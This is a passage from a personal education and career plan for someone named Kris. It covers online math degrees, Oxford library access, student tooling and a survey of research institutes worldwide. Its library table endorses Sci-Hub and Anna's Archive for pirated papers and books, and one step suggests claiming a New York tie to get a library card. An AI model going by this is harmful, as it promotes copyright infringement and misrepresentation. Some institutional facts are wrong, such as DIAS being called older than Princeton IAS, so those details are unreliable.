(https://www.ox.ac.uk/admissions/undergraduate/courses-listing/visiting-students) allows undergrads from partner institutions to spend a term or year reading at an Oxford college. The partner-institution list is dominated by US liberal arts colleges (Williams, Carleton, Pomona, Wellesley) and some UK universities. **No fully-online university is on the partner list.** This route is closed for an OU / UoL / UNISA / UF Online undergrad. Honest answer. + +**2.6.7 Oxford podcasts, OpenLearn, and Oxford-tied free lectures** + +- **Oxford Podcasts** (https://podcasts.ox.ac.uk/), thousands of lectures, including the Mathematical Institute series. +- **Oxford Mathematical Institute Public Lectures** (https://www.maths.ox.ac.uk/outreach/oxford-mathematics-public-lectures), live-streamed and archived. Free. +- **Oxford Mathematical Institute on YouTube**, full lecture series, including Andrew Wiles, Marcus du Sautoy, Sir Roger Penrose lectures. +- **Open University's OpenLearn** (different from OUDCE, this is OU's MOOC arm: https://www.open.edu/openlearn/), overlapping in spirit, distinct in institution. + +These are free and require no enrollment. Not "Oxford affiliation" but real Oxford content. + +**2.6.8 The realistic Oxford-adjacency package for Kris:** + +1. Enroll in UF Online (or chosen Tier 1 program) for the B.S. Math. +2. In parallel, take one OUDCE online course per term (~£300 each) to maintain active Oxford SSO and Bodleian Reader access. +3. Apply for a Bodleian external Reader Card during the first OUDCE term, citing the OUDCE enrollment and independent mathematical writing. +4. Once the Reader Card is in hand, the OUDCE enrollment becomes optional for library access (the card is independent), but continuing OUDCE keeps the SSO email and online resource access active. +5. Once enrolled at a UK university (via OU as second BS, or postgraduate later), apply for SCONUL Access to streamline future Bodleian renewals. +6. Long-term: target an Oxford college Visiting Scholar or Senior Common Room affiliation after a PhD elsewhere. This is the actual path into Oxford academic membership for someone not on the traditional undergraduate-admissions track. + +This stack gives a realistic, ethical, legitimate path to Oxford resource access during and after undergrad without overstating any institutional relationship. + +### 2.6.9 Non-Oxford research library stack (Kris's confirmed setup) + +If the Oxford-adjacency path is deprioritized or treated as parallel-only, this is the working stack that delivers comparable real research access at far lower friction. NCIS application was attempted and declined, so JSTOR is acquired through an alternative route. + +| Resource | Status | Annual cost | What it unlocks | URL | +|---|---|---|---|---| +| **AMS Student Membership** | Active | $48/yr | MathSciNet (mandatory for serious math), AMS journals, member discounts on books, eMath Resources | https://www.ams.org/membership/individual | +| **JSTOR** | Planned | varies — see below | ~12M articles across humanities, social sciences, some STEM; full-text search and download | https://www.jstor.org | +| **Anna's Archive (donor tier)** | Planned | ~$60/yr | Library Genesis + Sci-Hub + Z-Library meta-search; ~40M books, ~100M papers; faster downloads at donor tier; Tor mirror works under censorship | https://annas-archive.org | +| **Sci-Hub** | Free | $0 | ~95% of paywalled scientific papers; domain rotates (sci-hub.se / .ru / .st / .ee). Working researchers use this. | https://sci-hub.se | +| **Project Gutenberg** | Free | $0 | ~70k public-domain ebooks; canonical for pre-1928 works | https://www.gutenberg.org | +| **zbMATH Open** | Free | $0 | Math reviewing service, fully open since 2021; pair with MathSciNet for full coverage | https://zbmath.org | +| **arXiv + bioRxiv + SSRN** | Free | $0 | Preprint servers; the actual frontier of mathematical research | https://arxiv.org | +| **DOAJ** | Free | $0 | 20k+ fully open-access journals | https://doaj.org | +| **HathiTrust** | Public-domain tier free; full text via institution | $0 baseline | ~17M scanned volumes; full-text access requires HathiTrust partner institution login (UF qualifies once enrolled) | https://www.hathitrust.org | + +**JSTOR acquisition options (since NCIS is off the table):** + +| Route | Cost | Coverage | Notes | +|---|---|---|---| +| **JPASS individual** | $199/yr or $19.50/mo | Unlimited reading + 10 downloads/mo | The cleanest individual subscription. https://www.jstor.org/jpass | +| **UF enrollment (planned)** | Included in UF Online tuition | Full JSTOR access for as long as `@ufl.edu` is active | The best option if UF Online is the chosen B.S. — JSTOR comes free with the library proxy | +| **NYPL card** | Free (claim NY tie) | JSTOR partial collection via library proxy | Limited subset of JSTOR but free forever | https://www.nypl.org/library-card | +| **BPL eCard** | Free (MA resident or in-person) | JSTOR partial via BPL proxy | Same idea, generous BPL terms | https://www.bpl.org/ecards | + +**Recommended sequencing:** + +1. **Now:** Set up Anna's Archive donor account, bookmark Sci-Hub mirrors, confirm AMS Student membership is active and MathSciNet works. +2. **Now (free move):** Apply for an NYPL card next time anyone in his network is in NY, or claim a tie. BPL eCard if MA-eligible. LoC Reader Card if he is ever in DC. +3. **On UF Online enrollment:** JSTOR becomes free via `@ufl.edu` library proxy — JPASS individual becomes unnecessary at that point. Until enrollment, JPASS or the public-library route handles JSTOR needs. +4. **Long-term:** zbMATH Open and arXiv replace most of what MathSciNet does for current papers; MathSciNet stays critical for back catalog and citation graph. + +**Total annual recurring cost of confirmed stack:** $48 (AMS) + ~$60 (Anna's Archive donor) = ~$108/yr. JSTOR is $0 once UF Online is active; ~$199/yr before that via JPASS if needed. + +**What this stack doesn't give that the Oxford path does:** physical reading-room access at any of the Bodleian sites, the Oxford SSO email, and access to Oxford's *e-resources*-only databases (Oxford Reference Online, specific Oxford-licensed databases). For mathematical research specifically, this gap is small — math papers are heavily on arXiv, Sci-Hub, and MathSciNet, and physical reading rooms matter more for archival humanities work than for pure math. + +### 2.7 Lifetime alumni email policies (researched per institution) + +| Institution | Policy | Verdict | +|---|---|---| +| Penn State | Lifetime `@psu.edu` Gmail for alumni | Best in class | +| Texas A&M | Lifetime `@tamu.edu` Gmail for alumni | Best in class | +| Indiana University | Lifetime `@alumni.iu.edu` plus retained `@iu.edu` access (generally) | Excellent | +| University of Michigan | Lifetime `@umich.edu` alumni access | Excellent | +| ASU | `@asu.edu` retained as Google Workspace forwarder | Very good | +| Oregon State | `@oregonstate.edu` retained for alumni | Very good | +| University of Florida | `@ufl.edu` forwarder via ForUFL; mailbox sunset ~1 yr post-grad | Good (forward only) | +| Open University UK | `@open.ac.uk` ends shortly after graduation | Weak | +| University of London Intl | No lifetime account | Weak | +| UNISA | No lifetime account | Weak | +| Athabasca | No guaranteed lifetime account | Weak | +| IGNOU | No reliable email at all | None | + +For Kris's "lifetime real .edu mailbox" priority, the strongest fits in fully-online math are: Indiana East, Oregon State, ASU. UF is good but forward-only. + +### 2.8 Hosting at the institution + +No accredited fully-online B.S. Math program advertises `mathematics.dept.edu/~username` static hosting for math undergrads in 2026. The era of MIT Athena and Berkeley OCF style shell accounts has effectively ended for non-CS students. + +Closest substitutes: + +- **OCF at Berkeley** (https://www.ocf.berkeley.edu/) provides hosting to any Berkeley affiliate, including extension-school students. Berkeley does not offer an online B.S. Math, so this is irrelevant unless Kris takes Berkeley Extension courses. +- **MIT Sipb** (https://sipb.mit.edu/), MIT students only. +- **CSAIL Athena successor systems**, MIT students only. +- **Stanford AFS**, deprecated. + +Practical answer for Kris: continue self-hosting krisyotam.com from STARGATE. The "free institutional hosting" criterion is functionally unavailable in 2026 for online math undergrads. The substitute is to use the institutional `.edu` email to register a personal domain (Namecheap via GitHub Student Pack gives a free `.me` domain for a year), but Kris already has that infrastructure. + +### 2.9 Tooling access table + +All entries assume Kris is enrolled with a valid student email at the institution. + +| Tool | UF | OU UK | UoL | UNISA | ASU | IU East | OSU Ecampus | Athabasca | IGNOU | +|---|---|---|---|---|---|---|---|---|---| +| GitHub Student Pack | Yes | Yes | Yes | Case-by-case | Yes | Yes | Yes | Yes | Difficult | +| Azure for Students | Yes | Yes | Yes | Case-by-case | Yes | Yes | Yes | Yes | Difficult | +| AWS Educate | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | +| GCP for Education | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | +| Cursor for Students | Yes | Yes | Yes | Case-by-case | Yes | Yes | Yes | Yes | Difficult | +| Claude (Anthropic) student offers | Verify current | Verify | Verify | Verify | Verify | Verify | Verify | Verify | Verify | +| ChatGPT Plus EDU | US institutions only (as of late 2025) | No | No | No | Yes | Yes | Yes | No | No | +| Notion Education | Yes | Yes | Yes | Case-by-case | Yes | Yes | Yes | Yes | Difficult | +| JetBrains Education | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | +| Wolfram Alpha Pro Student | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Verify | +| Wolfram Mathematica student | Via UF site license | Via OU site license | Personal student license | Personal student license | Via ASU TAH | Via IU TAH | Via OSU TAH | Personal | Personal | +| MATLAB TAH | Yes (UF TAH) | Verify (some OU courses) | Verify | No (UNISA uses SageMath/Maxima) | Yes (ASU TAH) | Yes (IU TAH) | Yes (OSU TAH) | Verify | No | +| Overleaf Pro Student | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | +| Figma Education | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | +| MathSciNet | Via UF library | Via OU library | Via UoL library | Via UNISA library | Via ASU library | Via IU library | Via OSU library | Via Athabasca library | Via IGNOU library (limited) | + +The "MATLAB TAH" row matters specifically: any institution with a TAH license gives all students unlimited MATLAB + Simulink + all toolboxes. UF, ASU, IU, and OSU all have TAH. + +### 2.10 Summer programs and parallel enrichment (US-friendly while pursuing online BS) + +For an online undergrad, in-person summer programs are the way to acquire research relationships and letters of recommendation. The international institutions referenced in Section 3 of this document (OIST Research Internship, ICTP-SAIFR schools, IST Austria ISTernship, AIMS network) all accept online-degree undergrads in principle. Specific US-domestic options worth pairing with the online BS: + +- **NSF REU sites**, https://www.nsf.gov/crssprgm/reu/list_result.jsp, most accept students from any US-accredited 4-year institution including online programs. Top math REUs: SMALL at Williams College, Duluth REU, ICERM at Brown, MSRI-UP. +- **MSRI / SLMath summer programs**, https://www.slmath.org/ +- **Park City Mathematics Institute (PCMI)**, https://pcmi.ias.edu/, 3 weeks every summer in Utah, run by the Institute for Advanced Study. Undergraduate Summer School is one of the strongest pure-math undergrad programs anywhere. Online-undergrad eligible. +- **Budapest Semesters in Mathematics (BSM)**, https://www.budapestsemesters.com/, semester abroad for math undergrads. Online-undergrad eligible (only requirement is enrollment at an accredited 4-year institution). +- **Math in Moscow (now suspended)**, was the classic Russia counterpart; currently inactive. +- **PROMYS**, https://promys.org/, for high schoolers, but the Counselor program brings in undergraduates as TAs. +- **Mathcamp Counselor / JC role**, https://www.mathcamp.org/ + +### 2.11 Recommended stack: the "Modern Professor" B.S. structure + +Given Kris's constraints (US-resident, pure-math priority, Oxford adjacency desired, cost-sensitive but not cost-only, lifetime email + tooling matter), the recommended layered stack: + +1. **Primary degree:** UF Online B.S. Mathematics if Florida residency is achievable; otherwise **Indiana University East B.S. Mathematics** as the best cost/quality/lifetime-email tradeoff for a non-Florida-resident US student. Oregon State Ecampus is the second-best substitute. ASU Online is the splurge option for the strongest pure-math curriculum but at ~$70k. +2. **Accelerator layer:** Knock out 30–60 lower-division credits via Sophia + StraighterLine + Saylor + CLEP (Modern States) before enrolling. Saves 12–18 months and ~$15,000 to $30,000. +3. **Oxford adjacency:** Enroll in one OUDCE online course per term in parallel. Apply for Bodleian external Reader Card after the first term. Sustains an `@conted.ox.ac.uk` email and Bodleian access. +4. **Summer research:** PCMI Undergraduate Summer School in summer 1; an NSF REU in summer 2; OIST Research Internship Program in summer 3 (this is the international IAS-archetype bridge into Section 3 of this document). +5. **Independent scholarship infrastructure:** maintain krisyotam.com with research notes, exposition, problem sets, and worked classical results. Build the arXiv-endorsement chain by collaborating with REU mentors. Submit at least one undergraduate paper to a journal (e.g., Involve, MAA's "Mathematical Spectrum," or AMS Notices undergrad section). +6. **Lifetime email:** Indiana East gives `@alumni.iu.edu` permanently. UF gives `@ufl.edu` forwarder permanently. ASU and OSU retain Google Workspace `.edu` indefinitely. Pick the program partly on this. +7. **Hosting:** continue self-hosting; the institutional `~username` model is dead for online students. + +### 2.12 Top 3 picks, ranked + +| Rank | Program | One-line reasoning | +|---|---|---| +| 1 | **University of Florida Online (B.S. Math)** | Strongest US public research university on the fully-online list, full pure-math curriculum, lifetime `@ufl.edu` forwarder, full vendor tooling acceptance. Costs ~$15.5k if Kris establishes FL residency, ~$60k otherwise. | +| 2 | **Indiana University East Online (B.S. Math)** | Cheapest US option with full pure-math sequence + permanent `@alumni.iu.edu` mailbox. ~$41.5k total. Longest-running online B.S. Math in the US, mature curriculum. | +| 3 | **Open University UK (BSc Hons Mathematics, Q31)** | Strongest non-US option, real pure-math depth (M208/M303/M337), `.ac.uk` email opens SCONUL/Bodleian door. ~$50–60k. Lifetime email is the weak spot. | + +Honorable mention: **UNISA** if minimum cost is the top filter and Kris is willing to absorb the perception risk at US grad schools. $5–8k total is unbeatable, and UNISA's pure-math department is genuinely research-active. + +### 2.13 Concrete next-30-day checklist + +1. Decide whether to establish Florida residency for in-state UF Online tuition. The savings are ~$45,000 over the degree. Florida residency requires 12 months of demonstrated domicile (utility bills, lease, driver's license, voter registration, no out-of-state ties). Verify current rules: https://onestop.ufl.edu/financial-services/residency/ +2. If not pursuing FL residency: pick between **IU East**, **Oregon State Ecampus**, **ASU Online**, and **Open University UK**. Request transfer evaluations from the top 2 with current transcripts. +3. Subscribe to **Sophia Learning** ($99/mo) and **StraighterLine** ($99/mo + course fees). Begin Calculus I, II, III; Linear Algebra; Discrete Math; English Composition I/II; one humanities; one social science via these providers. Cost target: $1,500 across 6 months for 30+ credits. +4. Register an account at **Modern States** (https://modernstates.org/) and complete CLEP prep for College Algebra, Precalculus, Calculus, College Mathematics. Each successful CLEP = free voucher = $93 saved and 3 credits. +5. Browse the **OUDCE online course catalog** (https://www.conted.ox.ac.uk/courses/?_courses_format=online) and identify a 10-week online course starting in the next term. Cost ~£300. Enroll. This activates the Oxford SSO and Bodleian-eligibility timeline. +6. After enrollment in any `.edu`-equivalent institution, apply for: + - GitHub Student Developer Pack: https://education.github.com/pack + - Azure for Students: https://azure.microsoft.com/en-us/free/students/ + - JetBrains Educational Pack: https://www.jetbrains.com/community/education/ + - Wolfram Alpha Pro Student: https://www.wolframalpha.com/pro/students + - Notion Education: https://www.notion.so/product/notion-for-education + - Cursor for Students: https://www.cursor.com/students +7. Identify two pure-math professors at the chosen primary institution. Email each with a brief introduction, link to krisyotam.com, and a 1-paragraph statement of research interest (e.g., "I am working through Hatcher's Algebraic Topology and would value your input on Problem 1.2.X"). This seeds the relationship that becomes the REU letter writer in year 2. +8. Apply to one PCMI Undergraduate Summer School cycle: https://pcmi.ias.edu/programs-usp, applications typically open in December for the following summer. + +--- + +## 3. IAS-Archetype Institutions + +What the IAS / SFI archetype actually is: a small permanent or rotating fellowship of scholars, no teaching obligation, internal seminars, generous stipend, a beautiful campus, no department politics, and an explicit interdisciplinary mandate. Below, sorted by region. + +### Asia (non-14 Eyes) + +**Okinawa Institute of Science and Technology (OIST)** +- Location: Onna-son, Okinawa, Japan. On the coast, subtropical, surrounded by ocean and forest. +- Founded: 2011. +- Focus: Neuroscience, marine, physics, math (small but rising), CS, complex systems. Fully interdisciplinary by charter, no departments. +- Model: 5-year fully-funded PhD program in English, plus visiting scholars and postdocs. Faculty have no formal teaching load. +- URL: https://www.oist.jp/ — Application: https://admissions.oist.jp/ +- Language: English (the *only* fully English-language Japanese research university). +- Remoteness: 9/10. Okinawa is a 2.5-hour flight from Tokyo, then a bus from Naha airport. +- Call-home vibe: 10/10. Architecturally beautiful, oceanfront, monkey-and-banyan surroundings. + +**Korea Institute for Advanced Study (KIAS)** +- Location: Seoul (Dongdaemun district). +- Founded: 1996. +- Focus: Mathematics, theoretical physics, computational sciences. Explicitly modeled on Princeton IAS. +- Model: Long-term members, KIAS Scholars, school-by-school. No teaching. +- URL: https://www.kias.re.kr/en/ +- Language: English widely used in research. +- Remoteness: 2/10. It's Seoul. +- Vibe: 6/10. Clean, focused, but urban. + +**Asia Pacific Center for Theoretical Physics (APCTP)** +- Location: Pohang, South Korea (POSTECH campus). +- Founded: 1996. +- Focus: Theoretical physics, broad. Junior Research Group system runs 5-year independent group leaders. +- URL: https://www.apctp.org/ +- Language: English. +- Remoteness: 5/10. Pohang is a small east-coast city, 4 hours from Seoul by train. + +**Yukawa Institute for Theoretical Physics (YITP)** +- Location: Kyoto University, Japan. +- Founded: 1953 (originally as a memorial to Hideki Yukawa). +- Focus: Particle theory, gravity, condensed matter, math-phys. +- Model: Long-term and visiting positions; conferences and "molecule-type" workshops draw global theorists for months. +- URL: https://www2.yukawa.kyoto-u.ac.jp/en/ +- Language: Mixed Japanese/English; English at the research level. +- Remoteness: 3/10. Kyoto. +- Vibe: 9/10. Old capital, temples, river. + +**Kavli IPMU (Institute for the Physics and Mathematics of the Universe)** +- Location: Kashiwa Campus, University of Tokyo (commuter suburb, 1 hr from central Tokyo). +- Founded: 2007. +- Focus: Math + physics + astronomy, deliberately fused. +- Model: Tenure-track, fellow-track. Fellows have no teaching. +- URL: https://www.ipmu.jp/ +- Language: English is the *official institute language*. +- Remoteness: 3/10. Suburban. + +**Tata Institute of Fundamental Research (TIFR)** +- Location: Mumbai (main campus), plus Bengaluru and Hyderabad campuses. +- Founded: 1945. +- Focus: Mathematics (the School of Mathematics is world-class), theoretical physics, biology, CS. +- URL: https://www.tifr.res.in/ +- Language: English. +- Remoteness: 1/10 in Mumbai. The Bengaluru ICTS campus is suburban. + +**International Centre for Theoretical Sciences (ICTS-TIFR)** +- Location: Bengaluru, India. +- Founded: 2007. +- Focus: Interdisciplinary theoretical sciences, math, physics, biology, climate. +- Model: Long programs (3–6 weeks), Visiting Scientist Programme, postdocs. +- URL: https://www.icts.res.in/ + +**Harish-Chandra Research Institute (HRI)** +- Location: Prayagraj (Allahabad), India. +- Founded: 1965 (renamed for Harish-Chandra in 2000). +- Focus: Mathematics and theoretical physics (string theory, quantum information). +- URL: https://www.hri.res.in/ + +### China (per Kris's specific ask) + +**Yau Mathematical Sciences Center (YMSC), Tsinghua University** +- Location: Beijing. +- Founded: 2009 by Shing-Tung Yau. +- Focus: Pure math across the board, with strong emphasis on geometric analysis, number theory, mathematical physics. +- Model: Permanent faculty + a heavy visiting-scholar pipeline. "Tsinghua Junior Fellow" program for postdocs. +- URL: https://ymsc.tsinghua.edu.cn/en/ + +**Shanghai Institute for Mathematics and Interdisciplinary Sciences (SIMIS)** +- Location: Shanghai (Yangpu). +- Founded: 2023 (Yau is founding director). +- Focus: Math + physics + AI + biology. Explicit IAS/SFI-inspired charter. +- Model: New, ramping fellowship pipeline. +- URL: https://www.simis.cn/ + +**Morningside Center of Mathematics, CAS** +- Location: Beijing (Zhongguancun, Chinese Academy of Sciences). +- Founded: 1996 by Yau, S.-T. Hu, Y. Chern. +- Focus: Pure math; conferences and visiting members. +- URL: http://www.mcm.ac.cn/ + +**Beijing International Center for Mathematical Research (BICMR)** +- Location: Peking University, Beijing. +- Founded: 2005. +- Focus: All of pure and applied math; postdoc and visiting programs. +- URL: https://bicmr.pku.edu.cn/ + +**Chern Institute of Mathematics** +- Location: Nankai University, Tianjin. +- Founded: 1985 by S.-S. Chern. +- Focus: Geometry, topology, dynamical systems. +- URL: http://www.cim.nankai.edu.cn/ + +**Westlake University** +- Location: Hangzhou. New private research university, heavily funded. +- Founded: 2018. +- Focus: STEM broadly; growing math and theory groups. +- URL: https://en.westlake.edu.cn/ + +**ShanghaiTech University** +- Location: Pudong, Shanghai. New (2013), small, English-language graduate programs. +- URL: https://www.shanghaitech.edu.cn/eng/ + +**Southern University of Science and Technology (SUSTech)** +- Location: Shenzhen. +- Founded: 2011. +- URL: https://www.sustech.edu.cn/en/ + +**NYU Shanghai** +- Location: Shanghai. US-China partnership (NYU + ECNU). +- Note: Operates under Chinese registration; carries some NYU privileges. Useful for remote-affiliation-from-US thinking later. +- URL: https://shanghai.nyu.edu/ + +### Africa + +**AIMS (African Institute for Mathematical Sciences)** +- Network of campuses: Muizenberg (South Africa, 2003 flagship), Senegal (2011), Ghana (2012), Cameroon (2013), Tanzania (2014), Rwanda (2016). +- Focus: One-year intensive postgraduate diploma + structured Master's. Pan-African in mission, English language, residential, lectures by global rotating faculty (it grew from Neil Turok's vision; Cosmic Frontiers fellows). +- Model: AIMS Research Centres in each location host postdocs and visiting researchers in math, climate, ML. +- URL: https://nexteinstein.org/, Centres: https://aims.ac.za/ (SA), https://aims-senegal.org/, https://aims.ac.rw/, https://aims.edu.gh/ +- Best match for Kris: **AIMS South Africa (Muizenberg, Cape Town)**, beachside, dramatic landscape, English, world-rotating faculty. +- Remoteness: 7/10 (Muizenberg), 8/10 (AIMS Senegal at Mbour on the Atlantic), 6/10 (Rwanda, Kigali suburbs). + +**Stellenbosch Institute for Advanced Study (STIAS)** +- Location: Stellenbosch, Western Cape, South Africa. Wine country, mountains. +- Founded: 1999, residential fellowships since 2007. +- Model: Pure IAS-archetype. 3–5 month residential fellowships, no teaching, on a converted historic farm. +- URL: https://stias.ac.za/ +- Vibe: 10/10. This is the closest match in the world to the Princeton IAS aesthetic, just in a more beautiful setting. + +**National Institute for Theoretical and Computational Sciences (NITheCS)** +- Location: Stellenbosch HQ, with a distributed network across South African universities. +- Focus: Theoretical physics, math, computational sciences. +- URL: https://nithecs.ac.za/ + +**ICTP-EAIFR (East African Institute for Fundamental Research)** +- Location: Kigali, Rwanda. ICTP partner institute at University of Rwanda. +- Founded: 2018. +- Focus: Physics (high-energy, condensed matter), math. +- URL: https://eaifr.ictp.it/ + +**Quantum Leap Africa (QLA)** +- Location: Kigali, Rwanda. Hosted at AIMS Rwanda. +- Focus: Quantum information, ML, financial math. +- URL: https://quantumleapafrica.org/ + +**Other strong African universities:** University of Cape Town (UCT), Stellenbosch, University of the Witwatersrand (Wits). Cape Town for the math-physics axis. None are IAS-archetype but all are credible math homes. + +### South America (non-US/Mexico) + +**IMPA (Instituto de Matemática Pura e Aplicada)** +- Location: Rio de Janeiro, in the Tijuca rainforest above Botafogo. +- Founded: 1952. +- Focus: Pure and applied math, dynamical systems flagship (Palis, Avila, Viana). +- Model: Permanent researchers, postdocs, visiting program, *no undergrad teaching*. Closest South American analog to the IAS. +- URL: https://impa.br/en/ +- Notable: Hosted the 2018 ICM (Artur Avila's Fields Medal came from here). +- Vibe: 10/10. Surrounded by Atlantic Forest, monkeys in the trees, Rio at your feet. + +**ICTP-SAIFR (South American Institute for Fundamental Research)** +- Location: São Paulo, Brazil. Hosted at IFT-UNESP. +- Founded: 2011. ICTP partner. +- Focus: Theoretical physics across the spectrum. +- URL: https://www.ictp-saifr.org/ + +**Centro de Estudios Científicos (CECs)** +- Location: Valdivia, Chile. Patagonian gateway, on the river. +- Founded: 1984 (originally CECS, Centro de Estudios Científicos de Santiago; moved to Valdivia 2000). +- Focus: Theoretical physics (Claudio Bunster), gravitation, glaciology, biomedicine. +- Model: Private independent institute (no university affiliation), small permanent staff, visitor program. +- URL: https://www.cecs.cl/ +- Vibe: 10/10. Forested, river, mountains, low population, far from Santiago, *exactly* the Kris archetype. + +**Centro de Modelamiento Matemático (CMM)** +- Location: University of Chile, Santiago. +- Focus: Applied math, optimization, ML. +- URL: https://www.cmm.uchile.cl/ + +**Centro Atómico Bariloche / Instituto Balseiro** +- Location: San Carlos de Bariloche, Argentine Patagonia. On Lake Nahuel Huapi, in the Andes. +- Founded: 1955. +- Focus: Physics, nuclear engineering, condensed matter. Closely tied to CNEA. +- URL: https://www.ib.edu.ar/ +- Vibe: 10/10. Andes, lakes, ski mountains; possibly the most physically beautiful physics campus on Earth. + +**Universidad Austral de Chile (UACh)** +- Location: Valdivia. Strong applied math, biology, forestry. +- URL: https://www.uach.cl/ + +### Russia (remote / non-Moscow per Kris's ask) + +**Important geopolitical caveat:** Since February 2022, formal Western academic collaboration with Russian institutions has been heavily curtailed. Major journals have paused submissions from sanctioned institutions; NSF/EU funding cannot be used for joint Russian projects; many Western universities froze MoUs. **A US citizen pursuing affiliation with a Russian institute right now is doing so against the grain of policy.** This is not impossible, but the pipeline is narrower than it was pre-2022, and the legal-personal calculus (sanctions exposure, banking, visas, mobilization risk for males of certain ages) is real. + +**Akademgorodok / Novosibirsk State University** +- Location: Akademgorodok, a self-contained science suburb of Novosibirsk, deep in Siberia, in birch forest. +- Founded: 1957. +- Focus: Math (Sobolev Institute of Mathematics), physics (Budker Institute), CS. +- URL: https://english.nsu.ru/; https://math.nsc.ru/ +- Vibe: 10/10 conceptually. The original Soviet "science city" idea. + +**Steklov Mathematical Institute** +- Location: Moscow (main) and St. Petersburg (PDMI). Russian Academy of Sciences. +- Focus: All of pure mathematics. Historic depth (Kolmogorov, Pontryagin, Manin, Drinfeld). +- URL: https://www.mi-ras.ru/ + +**Far Eastern Federal University (FEFU)** +- Location: Vladivostok, Russky Island, on the Pacific. +- Focus: Broad; mathematical center growing. +- URL: https://www.dvfu.ru/en/ +- Vibe: Extraordinarily remote, Pacific coastline, the literal end of the trans-Siberian. + +**Joint Institute for Nuclear Research (JINR)** +- Location: Dubna, Moscow Oblast (~120 km from Moscow, on the Volga). +- Status: Intergovernmental (Russia + 17 member states), not a Russian-only institution. This matters: JINR has historically maintained some independence and broader international links than purely Russian institutes. +- URL: https://www.jinr.ru/main-en/ + +**Skolkovo Institute of Science and Technology (Skoltech)** +- Location: Skolkovo Innovation Center, near Moscow. +- Founded: 2011 (originally with MIT collaboration; MIT formally withdrew in 2022). +- Focus: Applied science, ML, materials. +- URL: https://www.skoltech.ru/en/ + +### Middle East (non-14 Eyes) + +**Weizmann Institute of Science** +- Location: Rehovot, Israel. +- Founded: 1934. +- Focus: Math, physics, chem, bio, CS. Pure research; small undergraduate program; faculty have minimal teaching. +- URL: https://www.weizmann.ac.il/pages/ +- Vibe: 9/10. Gardens, pure-research culture, IAS-coded. + +**Israel Institute for Advanced Studies (IIAS)** +- Location: Hebrew University, Jerusalem. +- Founded: 1975. +- Focus: Themed yearly research groups across disciplines. +- URL: https://www.as.huji.ac.il/ + +**KAUST (King Abdullah University of Science and Technology)** +- Location: Thuwal, Saudi Arabia, on the Red Sea coast (~80 km north of Jeddah). +- Founded: 2009. +- Focus: STEM broadly; AMCS (Applied Math & Computational Science) division strong. +- Model: Coed, English-language, gated campus, *extremely* generous funding (full tuition + stipend + housing for PhD). +- URL: https://www.kaust.edu.sa/ +- Vibe: 9/10. Red Sea coral on one side, Hejaz mountains on the other, palm-lined campus. + +**NYU Abu Dhabi** +- Location: Saadiyat Island, Abu Dhabi. +- Status: NYU portal campus; legally UAE but degrees are NYU. +- URL: https://nyuad.nyu.edu/ + +**Technion, Israel Institute of Technology** +- Location: Haifa. +- URL: https://www.technion.ac.il/en/ + +### Switzerland (NOT 14 Eyes, frequently missed) + +Switzerland is not a 14 Eyes member. Its neutrality is constitutional, its banking/data-residency posture is famously protective, and its research output per capita is the highest in Europe. This is the **single biggest "loophole" geography** for a 14-Eyes filter applied naively. + +**ETH Zürich** — https://ethz.ch/en.html — math department world top-10. +**EPFL Lausanne** — https://www.epfl.ch/en/ — math + CS + theoretical physics. +**Institut des Hautes Études Scientifiques (IHES)** — IHES is in **Bures-sur-Yvette, France** (14 Eyes), so it must be excluded despite its archetypal IAS-ness. Note this as the most painful exclusion of the entire list. +**Centre Interfacultaire Bernoulli, EPFL** — https://bernoulli.epfl.ch/ — Oberwolfach-style themed semesters in math. +**CERN** — https://home.cern/ — Geneva-area, intergovernmental, hosts ~12,000 visiting scientists per year. Affiliation via a user institute or an apprenticeship is possible. + +### Other Europe (non-14 Eyes) + +**IST Austria (Institute of Science and Technology Austria)** +- Location: Klosterneuburg, just north of Vienna, in the Wienerwald forest. +- Founded: 2009 (modeled explicitly on the Weizmann and IAS). +- Focus: Math, CS, physics, biology, chemistry. Fully interdisciplinary, English-language, no undergrad. +- Model: PhD students, postdocs, faculty; no teaching load to speak of. +- URL: https://ist.ac.at/ +- Vibe: 9/10. Modern campus in the forest, vineyards in walking distance, Vienna 30 min by train. + +**Dublin Institute for Advanced Studies (DIAS)** +- Location: Dublin, Ireland. +- Founded: 1940 by Éamon de Valera (Schrödinger was its first director of theoretical physics, this is where "What Is Life?" came from). +- Focus: Theoretical physics, mathematics, cosmic physics, Celtic studies. No teaching. +- URL: https://www.dias.ie/ +- Vibe: 10/10. The original European IAS-archetype, literally older than Princeton IAS as a model for the same institutional form. + +**Trinity College Dublin** — School of Mathematics. https://www.maths.tcd.ie/ + +**Erwin Schrödinger Institute for Mathematics and Physics (ESI)** +- Location: Vienna, Austria. +- Founded: 1993. +- Focus: Themed programs in math-physics. ESI Junior Fellow program for postdocs. +- URL: https://www.esi.ac.at/ + +**Helsinki Institute for Advanced Studies (HCAS)** +- Location: University of Helsinki, Finland. +- URL: https://www.helsinki.fi/en/helsinki-collegium-advanced-studies — Finland is not in 14 Eyes (sometimes confused; the **9 Eyes** has Norway and Denmark but not Finland). + +**Central European University (CEU)** +- Location: Vienna (relocated from Budapest, 2019). +- URL: https://www.ceu.edu/ + +**Instituto Superior Técnico (IST Lisbon)** — Portugal — https://tecnico.ulisboa.pt/en/ + +**Centre for Advanced Study Sofia (CAS Sofia)** — Bulgaria — https://cas.bg/en/ + +**University of Iceland (Háskóli Íslands)** — Reykjavík — https://english.hi.is/ — Iceland not 14 Eyes. + +**Mittag-Leffler Institute** — **EXCLUDE.** Sweden is 14 Eyes. Painful: it is one of the great math institutes globally, founded 1916, themed semesters in pure math. + +**Oberwolfach (MFO)** — **EXCLUDE.** Germany is 14 Eyes. Also painful. + +## 4. Alaska Exception + +Alaska is US territory and falls under the same legal regime as the lower 48 (FISA, NSL, CLOUD Act, etc.), so the 14 Eyes filter formally applies. But Kris's preference for remoteness intersects Alaska in a way worth documenting. + +**University of Alaska Fairbanks (UAF), Geophysical Institute** +- Location: Fairbanks, interior Alaska. +- Focus: Aurora, seismology, space physics, ice. +- URL: https://www.gi.alaska.edu/ + +**International Arctic Research Center (IARC), UAF** +- Focus: Arctic climate, sea ice, permafrost. Bilateral US-Japan partnership. +- URL: https://uaf-iarc.org/ + +**Toolik Field Station** +- Location: North Slope, in the Brooks Range foothills, ~400 km north of Fairbanks. +- Operated by UAF for NSF. +- URL: 